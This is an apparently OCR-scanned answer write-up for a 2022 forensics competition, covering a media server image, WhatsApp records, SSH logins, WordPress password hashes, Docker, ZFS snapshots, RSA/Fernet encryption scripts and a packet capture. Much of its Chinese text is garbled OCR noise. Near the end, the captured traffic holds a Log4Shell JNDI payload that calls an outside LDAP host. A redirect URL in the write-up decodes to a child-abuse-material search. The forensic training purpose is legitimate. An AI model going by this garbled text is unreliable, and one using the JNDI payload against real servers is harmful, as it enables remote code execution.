20225 THFHIPAZEWp

A BIFS5EESEXTIREN,

2022 HSEE

A RZRIR R IR RAT,

1.[18Z80) ERERFHF202269H30HAY ‘WhatsApp’ WHEE, B—EREi (Voice Message) IBFIE
sixaepnBINS2/MERTAR ‘'VPN' BEEE? (UNEHALSEEZ) (35)

3000

{BwhatsappBl RICREMEAIEIN M T REREDH,

N .- o
o) . Q@ 2-
Rigr  UERE FIEFE
S @ YouTube B Q ‘ P < i8> @55(85269394584@s.whatsapp.net) > [ £ 2%(85269394584@ Q |
~ (8) WhatsA| 4 /185
& Fheer Eax Chasa (1) &ias (1) Dyxe )
N Rooney... 4 /185
) mpiss 1 @ =55(8526939... /102 > e B —
BREA 1 ) 5(85296746641@s.... 2
FEERR 4 Secsoat o
smm= ; Py S(85260394584@s.whatsapp.net)(2022-09-30 1@
> O mEss 37 , ZER e
[Fri s 6
PR | /104 - 47:32
> @ IigHiL. 1 /10 ~ =5(85269394584@s.whatsapp.net)(2022-09-30 10:
SIS 19
> DT e > 0:00/008 ——
> @ sTiHEEiER 1
> @ ERER 4
> @ EEks 1 suee Al
> @ mmss 1 (2022-09-30 16:20:45)(85259814785@s.whatsapp.net)Rooney
> & miwEE 3 Xt FARIE
~ M Gmail 12
~ &3 rooneychan19... 12 2022 30 23:02
HEES 1 (2022-09-30 16:23:02)(85259814785@s.whatsapp.net)Rooney

2.[1RZR%) BhAGCERBIMLERIFTIRIEARSSER (Media Server), BEVAFIEARBEMINERI? (A

RI{E¥FEE) (153)

3

BIEXMEERFERER, =1

& BEXND
R RES) RV BUEP)

FF: user.

22 |LUL

= i = = 1[I = ] H

BUE  EAEHRS AfiEE BHRS BRIRS  18%

2
NERE =R

52 | B iEET | B ENEER X
HEASH v KSHE v S v 2 RIS B
= R RERS al =2
B L EFEGE377228)

5S4 v mAEE BRESEIR
[ E\AGC_MediaServer\MediaServer\e0T\sde\sde.£01(3) BPg BEATE
[ ENAGC_MediaServer\MediaServer\e0T\sdd\sdd.E01(3) 65 [Juser 2022-07-19 15:05:17

[ E\AGC_MediaServer\MediaServer\e01\sdc\sdc.E01(3)
[IE\AGC_MediaServer\MediaServer\e01\sdb\sdb.E01(3)
[IE\AGC_MediaServer\MediaServer\e01\sda\sda.E01(377216)
B [ WESEE(3015)

(Li

66 [ Mediauser
67 [ mediauser
68 [user
69 [luser

70 [1sammy

71 [Duser

2022-07-19 15:04:39
2022-07-19 14:54:06
2022-07-19 09:39:39
2022-07-18 16:48:48
2022-07-18 15:06:44
2022-07-18 14:16:02

oo®

WE%(E 376) [ mediauser  2022-07-18 13:52:51

o RFAFER(126) 73 Fluser 2022-07-18 12:09:57

R RERHMESER(1) 74 [lsammy 2022-07-18 11:57:47

B W EFERES96) 75 [er 2022-07-18 08:27:34

LB SRS HIEE(96) 76  [luser 2022-07-15 08:28:13

W ZGFFENEE(58) 77 [Fluser 2022-07-14 11:56:04
FUSBIREFRARD(LinuX)(12) 78  [luser 2022-07-12 14:45:48

& R (Linux) (2318) 79 [Fluser 2022-07-12 14:09:45
(IFEFmE(203) 80 [luser 2022-07-1212:10:11
@ FRITH(19840) 81 [luser 2022-07-11 09:26:28

o DDDDDDDDDDDDDDDDD%
N

[lE#%517(89849)

e 3 TR 7t i) WEME HESE

sammy#[Imediauser:

SHEUE » sdaf01 » FHEET » RAESLn) » BREREES » BREREUHES
FIFFRBOT

B A EFiw

tty2
2022-07-19 15:05:07 0:00:00:28 192.168.162.1
2022-07-19 15:02:10 0:00:08:04 tty2
2022-07-19 14:53:57 0:05:14:18 tty2

tty2
2022-07-18 16:48:42 0:01:41:58 192.168.182.1
2022-07-18 16:48:38 0:02:32:36 tty2
2022-07-18 14:13:48 0:00:20:57 tty2
2022-07-18 13:52:40 0:01:42:43 tty2
2022-07-18 12:03:34 0:00:05:47 192.168.162.1

tty2

tty2

tty2

tty2

tty2

tty2

tty2

3.(1R=/%] BhAGCERBIMLERIRIRBIRS R, AS VA FHIBRBEMINA 'ssh’ (Secure Shel)&RiJ?

(APTHI{BEFEE) (253)

E=x: 3


af://n0
https://www.meiyacup.com/Mo_index_gci_36.html

BRI A pts/x ORI ssh BR, FRLAERRX=/1HF:

& BUEXID

XiHF) RES) WEV) BEP) IRM  ®WEH)

B = S It B B m &

EFEE  FNRE SHEE  SBRkE  SESH ko5 3 XiTiE  WEE BRERE  ARRES  I8s IR
B =pEE | © =eiEE | bibEe | B BNESR X

LEasH v KERE v EE v (7 Linz7ES =3
7 Q| mm  EUWE > sdaf0l » ERED > RAESUnw » AFERES » AABREHES

® [JE\AGC_MediaServer\MediaServer\e01\sda\sda.E01(377216) SH v mARE BN FIFARCTE

[ WRGRE3015) BPE fe=2al) LiHiE ez EFR t T HES
& B @ RGHEB(Linux)(685) [ sammy 2022-07-22 14:22:40 2022-07-2214:23:31 0:00:00:51 192.168.182.1 5124
wEHEE(18) TTmediauser ~ 2022-07-19 15:04:39 2022-07-19 15:05:07 0:00:00:28 192.168.182.1 13,024
Csammy - 2022-07-18 15:06:44 2022-07-18 16:48:42 0:01:41:58 192.168.182.1 12,214
[ sammy 2022-07-18 11:57:47 2022-07-1812:03:34 0:00:05:47 192.168.182.1 6472
[ sammy 2022-07-04 11:50:16 2022-07-04 12:04:08 0:00:13:52 192.168.182.1 17,040
B sammy 2022-07-04 11:10:18 2022-07-04 11:29:21 0:00:19:03 192.168.182.1 7,598
[ user, 2022-07-04 11:07:22 2022-07-04 11:09:41 0:00:02:19 192.168.182.1 7,018
[Tuser 2022-07-04 10:43:59 2022-07-04 10:44:12 0:00:00:13 192.168.182.1 4,204
@ EUSBREEARA(LInu)(12) [ sammy 2022-07-04 11:09:24 2022-07-04 11:09:40 0:00:00:16 192.168.182.137 7,104
B AR Linux)(2318) [ user 2022-07-04 10:43:42 2022-07-04 10:44:19 0:00:00:37 192.168.182.137 4115
8 - (CImPmB203) [Huser 2022-07-2110:25:36 2022-07-2110:58:56 0:00:33:20 192.168.182.139 20,544
8 ERERA(Linux)(203) [ user 2022-07-2110:23:43 2022-07-2110:24:23 0:00:00:40 192.168.182.139 20,442
RERRTR(194) [ user 2022-10-03 10:50:48 tty2 14,534
WITESEICR(S) [l mediauser 2022-10-03 10:16:46 2022-10-03 10:50:37 0:00:33:51 tty2 3,659
WEMEEATR4) [ user 2022-09-30 16:39:48 tty2 3,522
@ | @ ERITR(19840) [ mediauser ~ 2022-09-30 09:05:35 tty2 3,529
= - [lB&517(89849) [ mediauser  2022-09-29 10:28:58 tty2 3,672
B 3 5H7(264295) A 1

4.5 R ERNEAR, EINEE ‘ssh’ ERTZRmEERSES 0R? (CARRH{AHFEZ) (373)
BE: 12 (BREN, RBEAR)

WE—@E, #H—THT.

5.[5ER] i IRRICRAMPIBREIRNES. BUTH— I 2REEiXA ‘ssh:notty’ BFRZiRIESIRS
£822(29)

A. iamhacker

B. hacking

C. hack
D. hacker

E. LA EESE

E=: C

BEEEFEIMAEE, BEREA /var/log/btmp :

§ syslog auth.log btmp * ar

W WE AR €3

1 1R ssh:notty sammy

e &2 B DE ssh:notty 192.168.182.1
itz (. o DE ssh:notty 192.168.182.1
b & DE ssh:notty 192.168.182.1
Hib 52 B DE ssh:notty 192.168.182.1
b & DE ssh:notty 192.168.182.1
b =T

HRZSRE6 BRI IS RS RFIEAR,, B— 1 HRER 'S FH, ZAFPHERETA? AABRX
E1%) 393)

K22 L

XNFAFaEREsammy, XMNEEEwordpressiIEIRER, iMlL, F—FpEiBwordpressEz
EXHSHFRIRE., XERA TS MG, REBUEEKSE, BEAE.

BSiRIEwordpressAIX44E1a, wp-config.phpESFEIREKE: :



define(

define(

define(

define(

define(

define( 'DB_COLLATE', '" );

RIEFRME, EREEIEERR:

2

MariaDB [wordpress]> select * from wp_users;
-------- omEoaEEaE EE o e EOnEEn S EORE SE e E OE e AGE DR AE O EE S SO AR S5 e S9A EE AN OIS MR S S E AT e EEAnE S AE e TG EEonE o aEonREE At SaREeaEEaacd

| ID | user i user_nicename | user_email | user_url | user_registered | user_activation_key
| user_status | display_name

B e e B R R Hrmmmmeem e oo e emmem e B e TR R

| 1] user | SP$BFg5qtN4ZVOVPLY.S1ImIPeQy6IzDFO | user | userglocalhost.net | http://192.168.182.137/wordpress | 2022-87-04 03:28:33 |
| o | user 1
| 2| user1 | SP$BS5088PUbRtWIQPDQBIHHAJE3FhMEUE | userl | useri@localhost.net | | 2022-07-04 ©3:32:24 | 1656905544:$PSBr3ooeitd
hMDPWKGNOTIAa6a. | o | useri 1
| 3| sanmy | sPsBI5qokk7azo YHHZan9ZgKEpSw/ | sammy | sammy@localhost.net | | 2022-07-04 03:33:33 | 1658

1ajGX1PJ.DHxNs/. | o | LL, sammy

3 rows in set (0.000 sec)

7.[ZBiE8)] ZiiRis RS 28 EMDockerasS (Docker Container) f, ZFMESLITH  Docker
#51% (Docker Image) ? (353)

A. apache2

B. ubuntu

C. centos

D. nginx

E. hello-world

F. LALEE
&2 BCDE

BUEXm B EE#EERGERHNT:



A BUEAIT
ZHEHF) ) WE(V) BEEP) TEM  #eH)

= : m &8 =

EiEEE  EUERS ARRS

LiEaSt Y WERE v BS v 2 W& EE
SR, al =z SFHEGE » sdafOl b WebfBSE » Docker » HEREE

- EE BT BT

HERID
[71 5d0da3dc976460b..,
[0 feb5d9feabase9606f..
[1] 55f4b40fe486a5b73f. nginx

[ 27941809078cc9b...\ ubuntu

= & L SFEUE(377228)
& | FIEAAGC_MediaServer\MediaServer\e01\sde\sde.E01(3)
[ 325547(3)
[IE\AGC_MediaServer\MediaServer\e01\sdd\sdd.E01(3)
[ 325547(3)
[E\AGC_MediaServer\MediaServer\e0T\sdc\sdc.E01(3)
[ 325547(3)
[IE\AGC_MediaServer\MediaServer\e01\sdb\sdb.E01(3)
[ 325547(3)
& @ [JE\AGC_MediaServer\MediaServer\e01\sda\sda.E01(377216)
1 @ EHRE(3015)
(IFBFmm(203)
& ERHES(19840)
CIHZ5#7(89849)
[ 2te45#7(264295)
W'WebBRES5(14)
@ | #Docker(14)

RIS EEOEATE BRRS
latest 2021-09-16 02:20:05 IEx

latest 2021-09-24 07:
latest 2022-06-23
latest 2022-06-07 06:

o

hello-world

000D
won o=

o

o

mEs e e

S ERES(5)
- REEXBEBEE() P

8.[ER1ERT] Fu LiRAIDockeriRiR, M—MBIGFERFALIETH? (29)
A. apache2

B. ubuntu

C. centos

D. nginx

E. hello-world

F. LA EESE

Z=: D

BERSRER, REnginkBNETIRESRrunning, EitiEEEstopped:

A EREAND
XHEHF RES) WE(V) BEP) I8M ®|EH)

BRES I18% e

LERSH v KERE v EE v (2 {02712 3 =23
REAR 3 Q| mx SR > sdaf01 b WebESSH b Docker b HHES
o © WL EHBEGE77228) SH v ARE  BWSENRSH | STFRSROM
B E\AGC_MediaServer\MediaServer\e01\sde\sde.E01(3) #RIRID HEER EES RUFAEE wH i
B BHSH3) hello-world happy_aryabhata Stoppe:
& FIEMAGC MediaServer\MediaServer\e01\sdd\sdd.£01(3) nginx Inginx-server nginx 80/tcp Running
BB H(3) hello-world ‘quirky_sustin
© [ [IE\AGC_MediaServer\MediaServer\e01\sdc\sdc.E01(3) centos. sad_lamport Stopped
® 1 BTHSH3) ubuntu dreamy_spence Stopped

o

[IE\AGC_MediaServer\MediaServer\e0\sdb\sdb.E01(3)
B3 TEST(3)
= [ [E\AGC_MediaServer\MediaServer\e01\sda\sda.£01(377216)
@ [ @ RGE(3015)
@ [CIFFRE(203)
@ @ ERHES(19840)
= BE5H(89849)
B B X5H7(264295)
B G WebRSEE(14)
& | #Docker(14)

U
W& wx em ms | EmEE TR

9.[BEBMIZRIRB RSS2 2(E M 'WordPress’ i1 (Create Website) i, & LbiSH 158, BT

R FHRFE I R EAITIL? (293)

A. cn.wordpress.org

B. root58462@mail.qg.com

C. hi456@163.com

D. root@163.com

E. useri@localhost.net

F. LA EESE

&2 BC

FS6rE, BEUERE. Btwp_posts F£E Mr@l RS HHIERBLXE:


mailto:root58462@mail.qq.com
mailto:hi456@163.com
mailto:root@163.com
mailto:user1@localhost.net

I o |
04 03:45:06 |

!-- wp:paragraph

- wp:paragraph {"backgroundColor":"pale-cyan-blue"}
ﬁﬁ%%ﬂmqa target=

2H, FHF2000F 1830 IEREE <sup> [1]+

has-pale-cyan-blue-background-color has-background">tb4§mM (Bitcoin)
Ja>TE20085F11H1H

<p class= _blan

noreferrer noopener”>FZKEE sup><a>&nbsp;</a> .

fwp:paragraph -->

ZISFBIA, idA5, BZE wp_comments FEBEXANTFILC

== ==

comment_ID | comment_post_ID | comment_author | comment_author_email | comment_author_url | comment_author_IP | comment_date | comment_date_gmt

nt_content
| comment_karma | comment_approved
nt_agent comment_type | comment_parent | user_id |

+

S -
1] 1 | —f{itWordPressiFit&E

his is a comment.

| wapuu@wordpress.exanple | https://cn.wordpress.org/ | | 2022-67-04 11:28:33 | 2022-07-04 03:28:33
get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
mmenter avatars come from <a href="https://cn.gravatar.com/
| o1 |
2

>Gravatar</a>.
| comment |
| 2022-87-04 14:

0| o |

5 | hiass | hi456@163.com | 192.168.182.1 132 | 2022-67-04 06:31:32
[RIaHE 2

o1
Lla/s.0 (Windows NT 10.6; Wins 4; rv:162.8) Gecko/20160101 Firefox/162.6 | comment

5 | —#Root K/ |

o |
root58462@mail.aa.con | |

o

192.168.182.1 | 2022-07-12 15:35:14 | 2022-07-12 07:35:14

FF BapachefBSS

AT XS R postAid 54T, 1RIAE

10.[BRi%RE] iZRR SRS RERP— M FitARE28ER ‘calendar HBT R, BBHABERRIT
MRANRIES? (393)

A. https://weibo.com

B. http://www.baidu.com

C.
D.
E. https://www.binance.com

F. LA EESE

=X E

EEJ9BC,

https://www.douyin.com

https://youku.com

HE—RXE, NMERBIEFIFA:

BAIRBNSHESE e, ABUEX)TH eI LR

A BUEAID 224
P RE(S)

Case01-20231101-19

E B

E-23 Pt
© =GiEs | BIEE | B RESR | Q XEER X

=]

BRRES

g BERS I8=

B =HER

alendar Q = SRR BIEEATIE] SRR S/EENEE HSATiE] AN (F73) =
S EOERER1112) () 409 [pealendar_pcalenda.. 2022-10-03 10:50:58  2022-10-03 10:50:58  2016-09-22 03:45:18 374
£ E[1E\AGC_MediaServer\MediaServer\e01\sda\sda.01(1112) O 410 [Jplasma-workspace_... 2022-10-03 10:50:58 2,299
o BsiR@es) ) 411 [ plasma-wallpapers-a... 2022-10-03 10:50:58 1,441
5Bk (443) () 412 [ plasma-workspace .. 2022-10-03 10:50:58 1,441
8Tk (443) () 413 [ plasma-wallpapers-a... 2022-10-03 10:50:58 2,299
= [DEESH(187) ) 414 [ plasma-workspace_.. 2022-10-03 10:50:58 ~ 2022-10-03 10:50:58  2022-08-2123:39:45 2,299
5 ARGE(Linw(187) O 415 [ calendar 2022-07-0411:21:37  2022-07-04 11:22:12  2022-05-25 03:02:32 4,096
ALinuxEgER(187) O 416 [ calendar.php 2022-07-0411:21:37  2022-09-2109:27:27  2022-04-12 23:12:47 4,676
6 ORGEB(18) () 417 [ class-wp-widget-cal.. 2022-07-04 11:21:37  2022-09-2109:27:27  2021-05-25 16:27:57 2913
BTG Linux)(18) ) 418 | ma\endav ics 2022-07-2109:15:42  2022-10-03 10:16:49  2022-07-2109:15:42
) —_
mJ 0O 420 O Ld‘k”ddl 2022-07-04 11:14:23 2022-07-04 11:14:23 2022-07-04 11:14:23
[ @hprE(29) O 421 [ calendar 2022-07-0411:1423  2022-07-04 11 0
() 422 [12839a41a541652029... 2022-07-1110:45:34  2022-07-1110: 3,207
O 423 [ calendar.ui 2022-09-2816:35:54  2022-09-28 16: 2,988
[0 424 [Jorg.gnome.desktop... 2022-09-2109:23:13  2022-09-26 13; 2022-09-2109:23:13 86
() 425 [Jorg.gnome.desktop... 2022-09-27 10:18:31  2022-09-27 10:18:32  2022-09-27 10:18:31 86
O 426 [ calendar.ui 2022-09-28 16:35:55  2022-09-28 16:35:46  2022-09-03 00:21:07 985
O 427 [ calendar.py 2022-07-0810:07:51  2018-12-2405:37:14  2018-12-24 05:37:14 23213
O 428 [ calendar.py 2022-07-0810:15:30  2018-12-2405:37:14  2018-12-2405:37:14 23213
(0 429 [ calendar.cpython-36... 2022-07-08 10:07:51  2021-03-1913:15:43  2021-03-19 13:15:43 25,884

IR AR RIS S



https://weibo.com/
http://www.baidu.com/
https://www.douyin.com/
https://youku.com/
https://www.binance.com/
https://zhuanlan.zhihu.com/p/64479847

T
|
b

e

PiE | = R (1

HHER

ARSI~ B7?
@ 0 - Microsoft ik -

it
FEhA25

2022/11/28, =X

Mz el

2022/12/16, 10 - 11

FEMaZZ M https://www.binance.c...

2022/12/18, =X

[ERiERE] 1. ZiRRIE RSB 2R EMHEANS (RAID) B, L& FEEMAM—1 RAID £31? (SiEER
BIERER) (19)

A.RAID 0

B. RAIDz2

C. RAIDz3

D. RAID 10

E. RAID 5

F. LA LES3E

Z=:D

zpool statusBEEMEIRE

M7 pool status

: media®
e: ONLINE
: resilvered 54K in 00:00:00 with ©® errors on Sat Nov 4 22:59:37 2023

NAME STATE WRITE CKSUM
media® ONLINE
mirror-@ ONLINE
sdc ONLINE
sdb ONLINE
mirror-1 ONLINE
sdd ONLINE
sde ONLINE




KIMFFEMIrror-0FImirror-1, 1RIERAIDETNR, IASXPRAIDZBIRIZARAID 10,
ME—Re X TF RAIDRE A FEFI RO SCEIE :

(RAIDO, 1. 5. 6. 10. 50. 60#BiFMi-BA, &

(tencent.com)

12.[i%RE] iZ B FIRIRTF6ED (Basic Storage Pool) Bz 7 —LALMER, EkL—RILEGRTH,
ZHEENRRIENRBRTABR? (252)

A. Jun

B. Jul

C. Aug

D. Sep

E. Oct

F. LA EESSE

Z=:D

FEMFHMREHRE#HERT L, £BER mpdXXHHAILURI T

-

) Q .mp4| ~ 1 Q @ v = B & &
D Recent Name Size Location
* Starred :F: e 20.4MB  media0/mediastorage
{3t Home BPE 5538.mpa 54.9MB  media0/mediastorage
B W H i*;ﬁf?_ﬁ]_ﬁﬂf.mptl 354.9MB media0/mediastorage
e BB i sestgmpa 26.0MB  media0/mediastorage
B x4

m K -E—FH.mpa 87.7MB  media0/mediastorage

BEERRENBERE:

#{E T _kh_i#{f.mp4 Properties

Basic Permissions Open With Audiofvi

Name R{ET_&h_iK{E.mpa

Type MPEG-4 {5 (video/mp4)
Size 354.9 MB (354,944,787 bytes)

Parent folder /media0/mediastorage

Accessed 20228108038 EHi— 1084314728%)
Modified 20228098230 28T 14845943 20%)
Created 2022809823H EHif 14659 Bl

13.1058] R L&, HBZRILEGRETZRNARPARERMA? (FERATS, NUABEXRMTHI(AE
FOE) (153)


https://cloud.tencent.com/developer/article/2230770

&z ROOT

WNEIRf7aN
T T _4_i#{f.mp4 Properties X

Basic Permissions Open'With Audio/Video

Owner rook
e —

AcCcess Read and write
Group root
Access Read-on
Others
Access Read-or
Execute [+|Allow executing  file as program

Security context unknown

14.{A%55] MAGCEREIMBTRRISIES R, BEEAREREEXTIIERERRINENMEEIER
SR, ZAFFHAANMLLRAZ? (FERAGS, UABRXRMAAFEZ, 0 https://web3.c
om, FEMEZ HTTPSWEB3COM) (243)

&2 HTTPSBITLY3XYI8B5

BTHFRNCCRHAERE, Bk T ANSSEZ/, BALERcurlEFm<amiudtTneE, F
BEETERRCR, BEITXA—T:

2 [FIEAAGC_Mediaserver\Mediaserver\eUT\sdb\sdb.EU1(3) 153 [ls SE3
[ sz#3#i(3) 154 [Eme SR

= & DE:\AGCiMediaSBr\rer\MediaSer\rer\em\sda\sda.Em (377216) 155 [ curl -i -o link.html https://bit.ly/3xyi8bs £SR3
) 4 ESEN3015) 156 lcd/ SX3

" GIRFRT203) 157 [me HR3(

= [ R ERA(Linux)(203) 158 [ mount SR

159 [ls Sx3

FILESHEIER(5) 160 [ cd temp SE3l

B = EMEECR(4) 161 [ls S

@ ERISF(19840) 162 [ exit A3l
@E‘Eﬁﬁ(sgs‘m 163 [ history SR

BT Flink.html, EERS:

HTTP/2 301 server: nginx date: Fri, 23 Sep 2022 06:55:35 GMT content-type: text/html; charset=utf-8 content-length: 552 cache-control: private, max-age=90 location:
https://www.baidu.com/s?ie=utf-
8&f=8&rsv_bp=18&rsv_idx=1&tn=baidu&wd=%E5%84%BF%E7%AB%A5%E8%89%B2%E6%83%85&fenlei=256&0q=%25E7%25B8%25AE%25E7%25B6%25B2%25E5%259D%2580%2 5E6%259C
set-cookie: _bit=m8n6Tz-f6b37048394b2f6875-00Y; Domain=bit.ly; Expires=Wed, 22 Mar 2023 06:55:35 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
moved here

XN R FHEHR/ L ZBBINERAE, FLsEET.

15. IE=EZ B R RIEFEH (pool) B—MRER (Snapshot), REBHIBRIFRHA? (FERAGS, K
ABREXEITH{AZFOE, % media/mediapool@abc123, FEEZEMEDIAMEDIAPOOLABC123)
(19)


https://web3.com/

Z2Z: MEDIAOMEDIASTORAGEVERSION1

zfs list -t snapshotEEEE:

peter@user-PC: ~/&H

$ zfs 1ist -t snapshot
NAME USED AVAIL REFER MOUNTPOINT
media®/mediastorage@versionl 33K - 751M -

16.[1RZ3R] #h LiRFRIEEIRB FREFHERIRAR (Snapshot), BfiEF T SPMER? (UEEHEEFE
&) (19)

g2 24

=]
BT LAGUEE— RO EREEFHAO BRYRERHI TXIEL
S sudo zfs snapshot media0/mediastorage@versioni14

$ sudo zfs diff mediad/mediastorage@versioni mediad/mediastorage@versioniid
/media0/mediastorage/\0345\0247\0232\0347\0204\0257\0350\0217\ 0262\ 0040Chantel) 0040\ 0346\0201\0213\0347\0210\0261\0351\0242\0204\0345\0221\0212.mp4

torage/\0350\0277\0267\0344\0275\0217\0344\0272\0206_\0345\0271\0274_\0350\0277\0267\0344\0275\0217..np4

torage/\0345\0215\0225\0344\0276\0235\0347\0272\0257\0346\0270\0257\0344\6271\0220\ 0344\ 0270|0223\ 0350\0276\0221\0040\0345\0243\0260\0347\0224\0237\0344\ 0270\ 0215\0346\0201\0257 .mp4
ge/\8346\0210\6221\0346\0230\0257\0346\0255\0214\0346\0211\0213 - \0347\0254\ 0254\ 03440276\ 0200\0345\0255\0243\004011.mp4
ge/
s ge/\0351\0237\0251\0347\0243\0212\0345\0256\0214\0347\0276\0216\0350\0257\0240\0351\0207\0212\0345\0244\0247\0345\0270\0210\0351\0237\0263\0350\0264\0250. mp4
/media®/mediastorage/\0346\0235\0216\0345\0205\0213\0345\0213\0244\0346\0270\0257\0344\0271\0220\0344\0276\0223\03560\0276\0221\0040\0345\0243\0260\0347\0224\0237\0344\ 0270\ 6215\0346\0201\0257 . mp4

tATLARR zfs rollback media0/mediastorage@versionl BERREE, AING24 1N,

17.[8i%R0] ESBAIUSBICIZIEEB— ‘'Data’ 43K (Folder), BEFRM—MSEIRIERIASIL? (1
53)

A. pem

B. cer

C.crt

D. key

E. LA LB

E=x: A

XANHREBEE—NotesBR, HKeygen.pngfGiH TEREMANEIE, BBHHNAE T RENPEM,
f&iitData FHIP1-PARLEXI RIAIZRSR T :

AA KeyGenpng 85.98K 123440213, 1/1 s p2e

® R Q < > o0 . Ues- Bze- Qoo 3I=

O — 0O X

(ey generation:

bublic _key, priv kev:rsa.newkeysh

load keys(filename):
(filename ) f:
filename ==

f.write(public_key.save_ pkcsl (
filename == 2
f.write(priv_key,.save pkecsl(

oad_keys( )
oad keys( )



18.[Zi%RH] 7&K L&, ‘Data’ XHKEF—MEMMETRMERE, CREM—HMZSENS? (29)
A. Symmetric

B. PGP

C. Twofish

D. RSA

E. Triple DES

&2 AD

AENotesBR T EINEIZENS, B REIADF MNETRIEE:

MA Encryptionpng  107.12K ,1232*446(&% , 1/1 e =0 — 0 X
O W &a < > D0 Uee~- Bum- Onao 33 1=s
ncryption:

cryptography. fernet Fernet
rsa

ey=Fernet.generate key()
ipher=Fernet (key)

( ) pk:
°_]-:ey=rsa. PublicKey,load pkcsl(pk.read())

encrypt symmetric key=rsa.encrypt/(key,.pub_key|)
( ) wf:
encrypted word=cipher.encrypt(wf.read())
( ) ef:
ef.write(encrypt symmetric_key)
ef.write(encrypted word)

19.[EAi%RR] SiMASHRRR, ZHEHRBFH— KB (File type)? (253)
A. exe

B. ods

C.rtf

D. sql

E. LA EE3E

=:D
RIENotes FAUEEIHIASHHS

from cryptography.fernet import Fernet
import rsa

with open('P1l','rb') as h:
K = rsa.PrivateKey.load_pkcsl(h.read())

with open('minecraft.exe','rb') as ef:
encrypt_key = ef.read(128)
encrypt_word = ef.read()

decrypted_key = rsa.decrypt(encrypt_key, K)
cipher = Fernet(decrypted_key)
decrypted_word = cipher.decrypt(encrypt_word)



with open('decrypt','wb') as f:
f.write(decrypted_word)

BEREXHHIRNER:

)4-154436 2 decrypt

SQL_MODE = "NO VALUE_ON_ZERO";

time _zone = "+@

20.[Zi%f0] R L&, HEUTHB—2FHMEZEREE? (39)
A. Armand To

B. Adam Smasher

C. Beverly Kot

D. Huma Chan

E. A EESHE
22 AC
fEsqIEBE— BT EMALLT .

21.[ERiERR] S34rIPlthiiE61.238.217.108FAGCHRS38510.0.66.184&1XRIFE—/ ‘GET 1§S, BiBERAY
FR—EBEERMZRS (Uniform Resource Locator - URL) B(14? (19)

A. http://155.137.195.111:8080

B. http://www.w3.0rg/2003/05/soap-envelope

C. http://61.238.217.108:8000

D. LA LEIE

B=E: A

EREaPER ip.src_host == "61.238.217.108" EXLNFip, AEBEE— GETIEKHMIHTTP

N —
RE:

4

T


http://155.137.195.111:8080/
http://www.w3.org/2003/05/soap-envelope
http://61.238.217.108:8000/

]

‘ Wireshark - i8E% HTTP i#% (tcp.stream eq 6) - AGC_Server_2.pcap = [m]

GET / HTTP/1.1

Host: 155.137.195.111:8@
: z111a/5.8 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.@

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;g=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=D22478C1C35897FF732173D933435904; Path=/; HttpOnly
Content-Type: text/html;charset=IS0-8859-1

Content-Length: 2469

Date: Sat, 22 Oct 2022 14:16:25 GMT

<ldoctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://unpkg.com/tailwindcss@2.2.4/dist/tailwind.min.css" rel="stylesheet">
</head>
<body>
<div class="h-screen flex">
<div class="flex w-1/2 bg-gradient-to-tr from-blue-80@ to-purple-700 i justify-around items-center”>
<div>
<hl class="text-white font-bold text-4xl font-sans”>GoFinance</hl>
<p class="text-white mt-1">The most popular peer to peer lending at SEA</p>
<button type="submit" class="block w-28 bg-white text-indigo-80@ mt-4 py-2 rounded-2x1 font-bold

22.[Ei%RR] IPth1E61.238.217.108 B2 AGCHRS58810.0.66.184/&%1X ‘POST {§S, BTE ‘HTML
Form’ BREIAY ‘uname’ £=FSINBIFAFRRHX? (19)

A. root

B. ${jndi:ldap://61.238.217.108:1389/a}

C. application/x-www-form-urlencoded

D. password

Z=X: B
M E——HgE—TRE, ARKBIPOSTIRE, BERHTTPARIE:

M Wireshark -1

POST /login HTTP/1.1

Host: 155.137.195.111:8080

User-Agent: Mozilla/5.@ (X11; Linux aarché4; rv:91.8) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 78

Origin: http://155.137.195.111:8080

Connection: keep-alive

Referer: http://155.137.195.111:8080/

Cookie: JSESSIONID=D22478C1C35897FF732173D933435904

Upgrade-Insecure-Requests: 1

uname=%24%7Bjndi%3A1dap%3A%2F¥2F61.238.217.108%3A1389%2Fa%7D&password=password
——

23.[ERj%570] AGCPR332210.0.66.18445 %1 IPitiE61.238.217.108f ‘POST IESIE, BT THILE{TEN?
(293)

A. [EAiR 468581 Piti1it61.238.217.1084ILDAPERSZS SRS EIR O

B. FIPithtik61.238.217.108 F & T Exploit.class




C. (HMAi%149264:%15IPith11t61.238.217.108 R FEER

D. AR
Z=: D

HIZIE, BEPOSTZEIRERTA:

93 107.530196 61.238.217.108 10.0.66.184
94 107.530196 61.238.217.108 10.0.66.184
95 107.530247 10.0.66.184 61.238.217.108

98 107.545462 10.0.66.184 61.238.217.108

66 48054 > 8080 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=3377862196 TSecr=115740426

630 IP/1.1 (application/x-www-form-urlencoded)
8080 > 48054 [Al

Seq=1 Ack=615 Win=64640 Len=0 TSval=115740486 TSecr=3377862196

66 46858 > 1389 [ACK] Sej=1 Ack=1 Win=64256 Len=0 TSval=115740501 TSecr=3377862261

99 107.545936  10.0.66.184 61.238.217.108 TP 80 46858 > 1389 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=14 TSval=115740502 TSecr=3377862261
100 107.553733  61.238.217.108 10.0.66.184 Tcp 66 1389 > 46858 [ACK] Sefi=1 Ack=15 Win=65152 Len=0 TSval=3377862271 TSecr=115740502
101 107.592375  61.238.217.108 10.0.66.184 Tcp 80 1389 > 46858 [PSH, AFK] Seq=1 Ack=15 Win=65152 Len=14 TSval=3377862309 TSecr=115740502
102 107.592383  10.0.66.184 61.238.217.108 Tcp 66 46858 > 1389 [ACK] feq=15 Ack=15 Win=64256 Len=0 TSval=115740548 TSecr=3377862309
